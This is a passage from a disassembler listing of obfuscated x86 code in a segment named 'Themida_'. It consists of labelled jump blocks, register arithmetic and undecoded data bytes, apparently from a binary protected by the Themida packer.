		shr	bl, 4
		shl	bl, 2
		sub	bl, 29h
		sub	bl, 9Ch
		and	dl, bl
		pop	ebx
		jmp	loc_59B305
; ---------------------------------------------------------------------------
		db 68h
		dd 3B74h, 53240C89h, 0B75398B7h, 22B183h, 0A8E95BF9h, 53FFFFFBh
		dd 241C8B54h, 0FF2013E9h, 52D830FFh, 32AEE951h,	36BF0000h
		dd 29255C07h, 413E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EA8E:				; CODE XREF: Themida_:005A077Cj
		sub	ebx, 82B078BFh
		add	edi, 40AE4F03h
		sub	edi, ebx
		sub	edi, 40AE4F03h
		pop	ebx
		push	eax
		jmp	loc_599DA3
; ---------------------------------------------------------------------------
		db 41h,	81h, 0E1h
		dd 756A08F2h, 4D7DC181h, 0F1813293h, 1EDC4095h,	0F759C889h
		dd 9EBB53D8h, 83668F67h, 348904ECh, 349FBE24h, 7E9023Eh
		dd 0BBFFFFB1h, 44464099h, 0CB81D3F7h, 7A87218Bh, 0C381DBF7h
		dd 0D7818C57h, 0E3E9DA31h, 29FFFFD1h, 488EE9E8h, 0F531FFFFh
		dd 8FE9555Eh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EB03:				; CODE XREF: Themida_:0059539Fj
		sub	ebx, 64B142DEh
		push	esi
		jmp	loc_595C38
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEF83Fh
; ---------------------------------------------------------------------------


loc_59EB14:				; CODE XREF: Themida_:00596FB8j
		sub	eax, 64072D1h
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]


loc_59EB28:				; DATA XREF: Themida_:00597F1Eo
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59A982
		push	ebp
		push	ebx
		push	11DB0071h
		jmp	loc_599BA6
; ---------------------------------------------------------------------------
byte_59EB3F	db 66h			; DATA XREF: Themida_:0058E108o
		dd 0CE9028Fh
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_59EB47:				; CODE XREF: Themida_:0059E2EBj
		mov	ecx, 628B1E46h
		add	ecx, 0F9341CA2h
		dec	ecx
		push	eax
		mov	eax, 71E21B1Bh
		push	esi
		mov	esi, 3EA046DAh
		inc	esi
		shl	esi, 3
		xor	esi, 1E2437B8h
		xor	esi, 8A116D5Fh
		add	eax, esi
		pop	esi
		push	esi
		jmp	loc_594F25
; ---------------------------------------------------------------------------
		dd 1677E953h, 0BB680000h, 89000046h, 0BB532434h, 44DB0D64h
		dd 0D102EBC1h, 0C5C381EBh, 0E9091DA1h, 0FFFF4DDEh, 68240489h
		dd 1409h, 50241489h, 35215BB8h,	58C28956h, 0F44D5BB8h
		dd 5AD0317Ah, 4308B951h, 0E5E96A2Dh, 68FFFF11h,	66F9h
		dd 0E9240C89h, 0FFFFB224h
; ---------------------------------------------------------------------------


loc_59EBD0:				; CODE XREF: Themida_:0059277Ej
		add	[esp+4], esi
		jmp	loc_5A1AEC
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 56h
		dd 0E941C049h, 0FFFFAE0Bh, 0E901C680h, 0FFFF8B36h, 6C33B12Dh
		dd 0C04B3518h, 5456AD78h, 15B8E9h, 1EC76800h, 2CE90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EC07:				; CODE XREF: Themida_:00597D4Bj
		pop	ebx
		add	ebx, 2E1406B0h
		jmp	loc_5916C6
; ---------------------------------------------------------------------------
		db 89h
		dd 3EBDE9E3h, 0E52DFFFFh, 525E6F09h, 9468D5BAh,	50C28106h
		dd 0F75B2002h, 0E2F281DAh, 53252473h, 0B9C0E4BBh, 0E9DA295Bh
		dd 0FFFFE474h, 582414F7h, 0D100E235h, 58C7314Ah, 0FF20EAE9h
		dd 0C48358FFh, 4EC8104h, 0E9000000h, 0FFFFC31Ch, 272EE81h
		dd 895D18C1h, 0EE815EF7h, 6EE80297h, 1DDC681h, 0FE0153C0h
		dd 0FFA749E9h, 4C083FFh, 5C240487h, 1FA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EC89:				; CODE XREF: Themida_:00597D3Ej
		sub	ebx, 1FA3486Bh
		add	ebx, 13F467C5h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6427D79h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [edx]
		jmp	loc_593263
; ---------------------------------------------------------------------------
		db 5Ch
		dd 53242C89h, 2E95B54h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ECCB:				; CODE XREF: Themida_:005A2859j
		push	edi
		mov	edi, 4
		jmp	loc_59F81F
; ---------------------------------------------------------------------------
		dw 78E9h
		dd 57FFFEF6h, 0C42DF3BFh, 83C7814Eh, 81375A44h,	0F252E4F7h
		dd 0F3EF8103h, 8144B212h, 595441F7h, 60C9E94Fh,	2958FFFFh
		dd 0C7015DEFh, 4EC81h, 14890000h, 6531BA24h, 8142133Bh
		dd 4727D2EAh, 81E2D153h, 8F9C64C2h, 5AD701CDh, 2BE5658h
		dd 1000000h, 24348BF7h,	4C481h,	3C870000h, 24248B24h, 9C2424D3h
		dd 0FEF60EE9h, 0CBE95EFFh, 5C000030h, 0FF0984E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59ED51:				; CODE XREF: Themida_:005A0F6Cj
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	cl, 11h
		mov	bh, cl
		jmp	loc_59EA07
; ---------------------------------------------------------------------------


loc_59ED5F:				; CODE XREF: Themida_:00593297j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59389D
; ---------------------------------------------------------------------------
		db 81h
		dd 0E9EE3EF7h, 0FA8952C9h, 0E95AD189h, 1575h, 7CE95366h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ED83:				; CODE XREF: Themida_:0059D598j
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_590CE6
; ---------------------------------------------------------------------------
		dd 0C681DE29h, 21DC0868h, 0FFD39CE9h, 0DEED81FFh, 125C8DEh
		dd 2434FFEFh, 0E189515Dh, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0CDBE5655h, 0BD6FBF6Ah, 6FBF6AC9h, 0FFA815E9h
		db 0FFh
byte_59EDCD	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0058E124o
		dd 0FFFEF57Fh, 4C8FC781h, 0C6812A34h, 1D3D3F2Bh, 0FF383FE9h
		dd 3C181FFh, 0E9C356C5h, 2FBEh
aMh		db '¬hÄ`',0             ; DATA XREF: Themida_:0058E0A0o
		align 2
		dw 1C89h
		dd 0F67CB724h, 0EDE780D7h, 0F780D7F6h, 2795E9E8h, 0BABE0000h
		dd 0E9145C11h, 0CE1h, 260CC781h, 0EF817AF5h, 0E2969931h
		dd 2DE0ED81h, 0FD292FF0h, 2DE0C581h, 815F2FF0h,	4ECh, 242C8900h
		dd 0FF17DCE9h, 0B5685CFFh, 89000052h, 3481241Ch, 0E67F0424h
		dd 772E967h, 0D901FFFFh, 83241C8Bh, 0CA0104C4h,	8B2434FFh
		dd 0F7E9240Ch, 87FFFFF1h, 895C240Ch, 55682414h,	89000020h
		dd 5CE92404h, 0F6FFFF2Eh, 52EB80DBh, 0E95BDD00h, 0FFFFC693h
		dd 0E906E6C1h, 0FFFFF474h
; ---------------------------------------------------------------------------


loc_59EE90:				; CODE XREF: Themida_:00590009j
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_591EC5
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C2h
		dd 40E56F2Dh, 0C1E9F201h, 42000002h, 0FFF81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EEB5:				; CODE XREF: Themida_:005A021Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A1EED
; ---------------------------------------------------------------------------
		dd 69E968h, 243C8900h, 0FFA421E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EED5:				; CODE XREF: Themida_:0058F24Cj
		sub	ebx, 0F845BF89h
		add	eax, ebx
		pop	ebx
		add	eax, 66F67FC2h
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59BA64
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 56000000h,	0C681E689h, 4, 0FFCDF5E9h, 80D5F6FFh
		dd 0E83016EDh, 240C8B66h, 2802C483h, 24048BC3h,	2804C483h
		dd 8EE950C3h, 29FFFF68h, 71A3E9F2h, 0F747FFFFh,	0F78147D7h
		dd 960F9A9Ah, 0E95FFB01h, 0FFFFBBEAh, 0E9241C8Bh, 0FFFF0E43h
		dd 0E924148Bh, 0FFFF3B74h, 55597FBEh, 8BF30142h, 0C4812434h
		dd 4, 0FF429DE9h, 3EE2DFFh, 0E8016E70h,	0FFD8FBE9h, 0E95756FFh
		dd 0FFFFC356h, 9A0BE949h, 0C481FFFFh, 4, 1FE0E9h, 889FB200h
		dd 56E95AD0h, 8BFFFF22h, 6DE9241Ch, 81FFFF3Ch, 0E50A22C7h
		dd 81D7291Fh, 0E50A22EFh, 0FF5A5A1Fh, 0E95B2434h, 0FFFF2D13h
		dd 81D5F74Dh, 1A6EE2EDh, 12C2819Ch, 0E92F1819h,	0FFFF2AF5h
		dd 7320C681h, 0D6292E9Fh, 7320EE81h, 515A2E9Fh,	2229E9h
		dd 0E9F1B100h, 0FFFF1BEAh
; ---------------------------------------------------------------------------


loc_59EFEC:				; CODE XREF: Themida_:00590B87j
		add	ebp, ebx
		push	ecx
		mov	ecx, 5B5B42EDh
		add	ebp, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5933E3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815B2434h, 4C4h, 0AE95100h, 1FFFF54h, 0DEE95FFDh, 88FFFF3Bh
		dd 0F02858E6h, 0E91C045Ah, 0FFFF2C43h
; ---------------------------------------------------------------------------


loc_59F034:				; CODE XREF: Themida_:005929ECj
		push	ebx
		mov	ebx, 737B7597h
		add	ebx, 0FAB38D93h
		mov	eax, ebx
		pop	ebx
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, eax
		jmp	loc_59890A
; ---------------------------------------------------------------------------


loc_59F055:				; CODE XREF: Themida_:005A170Cj
		not	dword ptr [esp]
		pop	edi
		push	ebx
		push	edi
		mov	edi, 6B50012Eh
		jmp	loc_59D9C4
; ---------------------------------------------------------------------------
aO_0		db '»ÞO',1Bh,0
		dw 68E9h
		dd 81FFFF92h, 103CE5EEh, 2434FF2Fh, 5854505Bh, 8F8E9h
		dd 4C48100h, 0E9000000h, 0FFFF4A68h
; ---------------------------------------------------------------------------


loc_59F08C:				; CODE XREF: Themida_:00596595j
		shr	eax, 3
		jmp	loc_59609B
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 1304h, 0B60F665Dh, 0E0895000h, 3E48E955h
		dd 895CFFFFh, 9A68241Ch, 0E95AEA62h, 0FFFF7511h, 0BE243489h
		dd 2, 5E78EF81h, 0F4E97905h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F0CB:				; CODE XREF: Themida_:005911D3j
		pop	esp
		jmp	loc_591018
; ---------------------------------------------------------------------------
		db 31h,	0F5h, 5Eh
aSS_7		db ')è]é´+',0
		align 4
		dd 0E7E9E931h, 89FFFF6Fh, 62BE2434h, 17C6347h, 0C3815EF3h
		dd 1E252886h, 0A5EDC381h, 0D82143A7h, 53241C8Bh, 0C381E389h
		dd 4, 4C381h, 5FE90000h, 6800001Fh, 4CE6h, 0FFA473E9h
		dd 0C2815EFFh, 2, 5C241487h, 4B30F66h, 20E99C24h, 0BDFFFEF2h
		dd 4B417746h, 0E870C581h, 0E809EF28h, 0AFE9405Dh, 51FFFFF8h
		dd 72E94EB1h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F14F:				; CODE XREF: Themida_:005944BAj
		push	24BDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		jmp	loc_5940B0
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 74h
		dd 0E937465Eh, 0FFFFD55Dh, 0F831E951h, 0CC88FFFEh, 83240C8Bh
		dd 0C48004C4h, 0E9E78837h, 0FFFF2386h, 8904EC83h, 1E9241Ch
		dd 81FFFEFDh, 4ECh, 24348900h, 0C681E689h, 4, 6B72B850h
		dd 0B9514A65h, 47427C14h, 65E9C829h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F1B7:				; CODE XREF: Themida_:0059CC9Dj
		pop	ebx
		sub	esi, 78D14CF4h
		add	esi, eax
		add	esi, 78D14CF4h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59727B
; ---------------------------------------------------------------------------


loc_59F1D4:				; CODE XREF: Themida_:0059FFF8j
		pop	ebx
		push	3775h
		mov	[esp], ecx
		push	ebp
		push	eax
		push	esi
		jmp	loc_58F251
; ---------------------------------------------------------------------------


loc_59F1E5:				; CODE XREF: Themida_:0059052Aj
		mov	esi, 0C185745h
		dec	esi
		sub	esi, 0F5B1989h
		sub	esi, 0FCBD3DB7h
		add	ebx, esi
		jmp	loc_59B0EC
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4D7A0FC5h, 92DFE906h, 0C681FFFFh, 4,	4EE81h,	34870000h
		dd 74685C24h, 0E9000073h, 0FFFF3872h, 0E924348Bh, 1E8Bh
		dd 515F5457h, 0FEF4BEE9h
		db 0FFh
byte_59F235	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E134o
aHI		db '$hšI',0
		align 2
		dw 2C89h
		dd 0E95D5424h, 0FFFF0E32h, 0E959E828h, 0FFFFCAA6h, 348BF789h
		dd 4C48124h, 81000000h,	60082444h, 115C926h, 8108247Ch
		dd 6008246Ch, 5F15C926h, 0B488E95Ah, 248BFFFFh,	0FC00B24h
		dd 1BF384h, 1C77FF00h, 0FF2434FFh, 55592434h, 0FF9AA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F291:				; CODE XREF: Themida_:005981E3j
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59846E
; ---------------------------------------------------------------------------
		dd 14CBEA81h, 875D0FEAh, 248B2414h, 0FC90B24h, 0FF640884h
		dd 0E78957FFh, 0FFE42CE9h
		db 0FFh
aNhP		db '­h',1Bh,'P',0       ; DATA XREF: Themida_:0058E19Co
		dw 0E900h
		dd 0FFFF15D9h
; ---------------------------------------------------------------------------


loc_59F2C8:				; CODE XREF: Themida_:005A00C7j
		add	esp, 4
		jmp	loc_596E15
; ---------------------------------------------------------------------------


loc_59F2D0:				; CODE XREF: Themida_:0058F85Cj
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		jmp	loc_58F058
; ---------------------------------------------------------------------------
		db 89h
		dd 24BA2414h, 0E9000000h, 18BCh
; ---------------------------------------------------------------------------


loc_59F300:				; CODE XREF: Themida_:0058F142j
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 5
		push	eax
		mov	eax, 250F1F13h
		add	eax, 49443F1h
		add	ebx, eax
		pop	eax
		sub	edx, ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		push	2C1Dh
		mov	[esp], edx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A1BCC
; ---------------------------------------------------------------------------


loc_59F33B:				; CODE XREF: Themida_:00597D8Aj
		not	edi
		xor	edi, 122A52B8h
		shr	edi, 2
		xor	edi, 3D460086h
		and	edi, 66250DE6h
		sub	edi, 0FD29A91Ch
		xor	esi, edi
		pop	edi
		and	edx, esi
		pop	esi
		add	edx, 1
		sub	edx, 204B41FBh
		add	edx, 0C3300DEh
		push	edx
		xor	dword ptr [esp], 36AF26F8h
		pop	edi
		jmp	loc_59ABDB
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0EDF58107h, 0F7560067h, 54F581D5h, 0E99279CDh, 0FFFF4916h
		dd 24348759h, 66F8305Ch, 81241C8Bh, 2C4h, 0D7C4E900h, 0A2B9FFFFh
		dd 0E90EEC59h, 2EE7h, 42474FFh,	24048F5Dh, 2124248Bh, 242C8BE9h
		dd 348B5456h, 4C48124h,	0E9000000h, 0FFFFF33Ch,	4454EB81h
		dd 5E594533h, 4BA52h, 0D3010000h, 0FFE240E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F3E9:				; CODE XREF: Themida_:0059046Ej
		xor	edx, 3DF23994h
		dec	edx
		sub	edx, 0DE842908h
		xor	edi, edx
		pop	edx
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_593280
; ---------------------------------------------------------------------------
		dd 5631F568h, 0ECE95A1Dh, 5AFFFF3Bh, 8004E4C0h,	0C480FFECh
		dd 0B0B65201h, 6608E6C0h, 891B551h, 0C05966EEh,	0EE8004E6h
		dd 0D7EE8050h, 0FF0A0CE9h, 0FCC781FFh, 0E9FD7FEFh, 0FFFF0F31h
; ---------------------------------------------------------------------------


loc_59F444:				; CODE XREF: Themida_:00591305j
		pop	ecx
		inc	ecx
		push	ebx
		jmp	loc_5974DC
; ---------------------------------------------------------------------------
		dd 43EDF781h, 0FB895952h, 81243C8Bh, 4C4h, 0E9DA3100h
		dd 0FFFF7EFAh
; ---------------------------------------------------------------------------


loc_59F464:				; CODE XREF: Themida_:0059ADE0j
		pop	ebx
		jmp	loc_5A0E39
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4E88300h, 5C240487h, 0E9240C89h, 2038h, 0A8E9E789h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F487:				; CODE XREF: Themida_:0059C2CAj
		mov	esi, 443251A6h
		jmp	loc_59DA91
; ---------------------------------------------------------------------------
		db 0B1h, 0B0h, 0E9h
		dd 0FFFFE26Bh, 0E2A1E959h, 8956FFFFh, 4C681E6h,	81000000h
		dd 4EEh, 24348700h, 241C895Ch, 0F2242C81h, 0E9202448h
		dd 0FFFFEC00h, 798F68h,	381DE900h, 0F7950000h, 716895D5h
		dd 89000007h, 0E2BE2434h, 1351917h, 0E9535EF0h,	0FFFFA92Ah
		dd 2C89C680h, 51F02816h, 47E916B1h, 68FFFF3Ch, 7CC6h, 0FF240C89h
		dd 0E9042474h, 0FFFFD0F2h, 10F9C781h, 0C7810AD9h, 56AD0BC5h
		dd 21E9C729h, 5CFFFFA3h, 782D68h, 243C8900h, 0E92434FFh
		dd 0FFFFC956h
; ---------------------------------------------------------------------------


loc_59F528:				; CODE XREF: Themida_:00599D86j
		push	27F51312h
		jmp	loc_5A058D
; ---------------------------------------------------------------------------


loc_59F532:				; CODE XREF: Themida_:0058E728j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	73h
		mov	[esp], esi
		push	eax
		jmp	loc_59C2C5
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 48B2434h, 4EC8124h, 89000000h, 0DCE9242Ch, 0B5FFFF5Ah
		dd 9FC58089h, 0E908EDC0h, 0FFFF89CDh, 0C381D301h, 65274136h
		dd 0FFAB77E9h, 0E91D2CFFh, 0FFFF18E5h, 2E69332Dh, 9B61E977h
		dd 0C509FFFFh, 8124048Bh, 4C4h,	6CE58100h, 50429E1Dh, 0BF3B52B8h
		dd 58C53106h, 0FF3634E9h, 56515EFFh, 0C2527C68h, 0F7565E4Dh
		dd 815E2414h, 5B1F43C6h, 0C4F6817Eh, 563098CCh,	0FF431AE9h
		dd 66CB00FFh, 0B0506659h, 5EC380ECh, 81E9C300h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F5D7:				; CODE XREF: Themida_:00591A51j
		pop	edi
		push	ecx
		mov	ecx, 1FDE3EB2h
		jmp	loc_59B852
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0E7680000h, 89000070h, 7168241Ch, 5B409C7Eh
		dd 8108EBC1h, 35213FCBh, 0E9F3810Ch, 0E97C17BCh, 0FFFF3636h
		dd 5A2434FFh, 4C481h, 0F0680000h, 89000065h, 0FCE92414h
		dd 0C1FFFF25h, 0ABE908EDh, 29000034h, 0F0E955CBh
		db 30h,	2 dup(0)
byte_59F633	db 0FFh			; DATA XREF: Themida_:0058E0BCo
		dd 48B2434h, 0E0895024h, 405h, 40500h, 4870000h, 0D6685C24h
		dd 8900006Dh, 0E589242Ch, 175368h, 240C8900h, 4B9h, 39D0E900h
		dd 0C3310000h, 24148B66h, 76E95455h, 89FFFF48h,	9C502414h
		dd 0FEECD6E9h, 48F5EFFh, 7801E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F686:				; CODE XREF: Themida_:005A17CDj
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59E71B
; ---------------------------------------------------------------------------


loc_59F6A3:				; CODE XREF: Themida_:005A0BCFj
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_596DE4
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3CA80F02h, 0E958C101h, 0FFFF956Dh, 2D70DABBh, 0E9D82972h
		dd 0FFFF01A0h, 0F6752AB9h, 0F2B4E913h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_59F6D6:				; CODE XREF: Themida_:0059ABD6j
		push	ebp
		jmp	loc_59854F
; ---------------------------------------------------------------------------
		dd 0EB885358h, 595BDC88h, 0FFCCA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: Themida_:005A0CBAj
		pop	esp
		jmp	loc_594A85
; ---------------------------------------------------------------------------


loc_59F6EF:				; CODE XREF: Themida_:0059691Bj
		mov	eax, 1
		jmp	loc_5973E0
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 5224148Bh, 0C281E289h, 4,	0FFB681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F711:				; CODE XREF: Themida_:005973BEj
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5A24FA
; ---------------------------------------------------------------------------


loc_59F71A:				; CODE XREF: Themida_:00593BE1j
		push	ecx
		jmp	loc_5A0C76
; ---------------------------------------------------------------------------


loc_59F720:				; CODE XREF: Themida_:0059B1DAj
		add	ecx, ebx
		pop	ebx
		jmp	loc_598E6D
; ---------------------------------------------------------------------------
		dd 815AD321h, 0B631BAE3h, 2EBC11Fh, 8107E3C1h, 801400F3h
		dd 0E9D98940h, 0FFFEF39Ah
; ---------------------------------------------------------------------------


loc_59F744:				; CODE XREF: Themida_:0059900Ej
		sub	esp, 4
		mov	[esp], ecx
		pop	ebx
		jmp	loc_59B040
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 3BB2E924h, 0ED81FFFFh, 7BE5B25Eh,	575DEB01h
		dd 4BFh, 5FFB0100h, 31241C33h, 2FE9241Ch, 8BFFFF85h, 0F2682414h
		dd 8900004Fh, 5F54243Ch, 1199BE56h, 0E6C118FFh,	7E6C107h
		dd 673BBA52h, 0BF57038Eh, 150E0F00h, 14EDEF81h,	61E94857h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_59F7AB:				; CODE XREF: Themida_:005983F9j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 0BE565AD1h, 4, 875EF129h, 248B240Ch, 242C8924h
		dd 8956E589h, 2DBFE9E6h, 0CD81FFFFh, 6FC12F93h,	2EFAC581h
		dd 0F4E90B4Eh, 55FFFFF2h, 4BDh,	5DEE0100h, 75F368h, 240C8900h
		dd 0FFF069E9h, 399BBDFFh, 0DCE9210Bh
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F81F:				; CODE XREF: Themida_:0059ECD1j
		add	ebx, edi
		pop	edi
		jmp	loc_59C9E3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1C91E9D6h, 0C483FFFFh, 241C8B04h, 53E08950h,	0FFC04BE9h
		db 0FFh
byte_59F83D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E080o
		dd 4EC8324h, 0FF5E44E9h, 88535BFFh, 5BF988C7h, 8324048Bh
		dd 0BC6804C4h, 89000006h, 0F1E92414h, 0C1FFFF34h, 0E95202E3h
		dd 0FFFFA19Dh, 8B2434FFh, 0C4832404h, 50B66804h, 14890000h
		dd 1F09E924h, 2C89FFFFh, 5C7CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F88A:				; CODE XREF: Themida_:00599678j
		add	esp, 4
		add	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 7FC42D93h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	710Eh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_59AF8B
; ---------------------------------------------------------------------------
		db 1, 0FDh, 0E9h
		dd 0FFFFCAE9h, 0C2095E58h, 8124048Bh, 4C4h, 7AF28100h
		dd 314626D3h, 0BF575AD1h, 24F63685h, 0FFA7D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F8E1:				; CODE XREF: Themida_:0059D2C8j
		xor	esi, [esp]
		pop	esp
		div	ecx
		jmp	loc_58EA55
; ---------------------------------------------------------------------------
		dd 4E1FB850h, 8FE94192h, 81FFFFFCh, 0FF1889E5h,	0B2F5815Eh
		dd 81490878h, 3EBE39F5h, 0A8CBE9BBh, 3487FFFFh,	0E550E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F916:				; CODE XREF: Themida_:0059CB90j
		mov	edx, 4
		jmp	loc_5919B7
; ---------------------------------------------------------------------------
		dd 0C581DDF7h, 24C868E7h, 335DEB01h, 1C31241Ch,	241C3324h
		dd 0FF24248Bh, 535A2434h, 577268h, 24248900h, 31C9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F94A:				; CODE XREF: Themida_:005A00FEj
		pop	ebx
		sub	ebx, esi
		pop	esi
		sub	ebx, 61E73299h
		sub	ebx, 5A13A3Dh
		sub	ebx, eax
		add	ebx, 5A13A3Dh
		push	edx
		jmp	loc_591F86
; ---------------------------------------------------------------------------
		dd 0C46B2EBFh, 72BFB871h, 0F82975E9h, 0FFA7E8E9h, 4BB53FFh
		dd 1000000h, 0C0835BD8h, 24048704h, 5724248Bh, 4F473568h
		dd 0CF815F77h, 31551086h, 5B48BB53h, 0EB811918h, 0B7DF8292h
		dd 3E9DF29h, 55FFFF8Bh,	242C8B5Bh, 4C481h, 0DD010000h
		dd 242C335Bh, 33242C31h, 248B242Ch, 243CD324h, 2323E99Ch
		dd 0F2010000h, 268515Eh, 59000000h, 7B89C281h, 0CA2901F6h
		dd 0FFD5ACE9h, 241C8BFFh, 4C481h, 0CA010000h, 1EFEA81h
		dd 0C8B5FEBh, 4C48324h,	5C241487h, 9C240420h, 0FEE94AE9h
		dd 81DFF7FFh, 0AF3B2FEFh, 4EC8112h, 89000000h, 0F7BB241Ch
		dd 296A4A5Ah, 41E95BDFh, 81FFFFA3h, 5858E8C9h, 93BE5638h
		dd 816AEF15h, 461A2EC6h, 86E6811Fh, 8143EC46h, 1338F8CEh
		dd 65F68144h, 0E91EB949h, 0FFFFBCC6h, 243C8B5Fh, 57E68956h
		dd 4BFh, 5FFE0100h, 4C681h, 0EC830000h,	0C6B4E904h, 0C481FFFFh
		dd 4, 2000C681h, 0BB53649Fh, 4A1A3A8Bh,	61E94343h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FA87:				; CODE XREF: Themida_:0059BDACj
		mov	esi, [esp]
		add	esp, 4
		add	esi, 38D16270h
		push	esi
		pop	eax
		jmp	loc_5A15E7
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 1
		dd 81FFFFD8h, 0ED749FF3h, 8E3C120h, 650CF381h, 2CE91C71h
		dd 68FFFF42h, 1D5h, 0E9243C89h,	0FFFF5102h, 4BE9FB01h
		dd 5EFFFF34h, 5BBB6653h, 8C3DE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FAD6:				; CODE XREF: Themida_:00599F35j
		mov	ebp, esp
		jmp	loc_5A215D
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0BBh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FAE3:				; CODE XREF: Themida_:005985CAj
		push	ebx
		mov	ebx, 4F6C127Ch
		add	eax, 5BED2903h
		add	eax, ebx
		jmp	loc_5A1A6B
; ---------------------------------------------------------------------------
		db 56h,	81h, 2Ch
		dd 0EE291D24h, 0C3815B42h, 42EE291Dh, 0FEF8D2E9h, 48E954FFh
		dd 5200002Fh, 0FFF47CE9h, 42BABEFFh, 0E6814FBCh, 18A02D7Bh
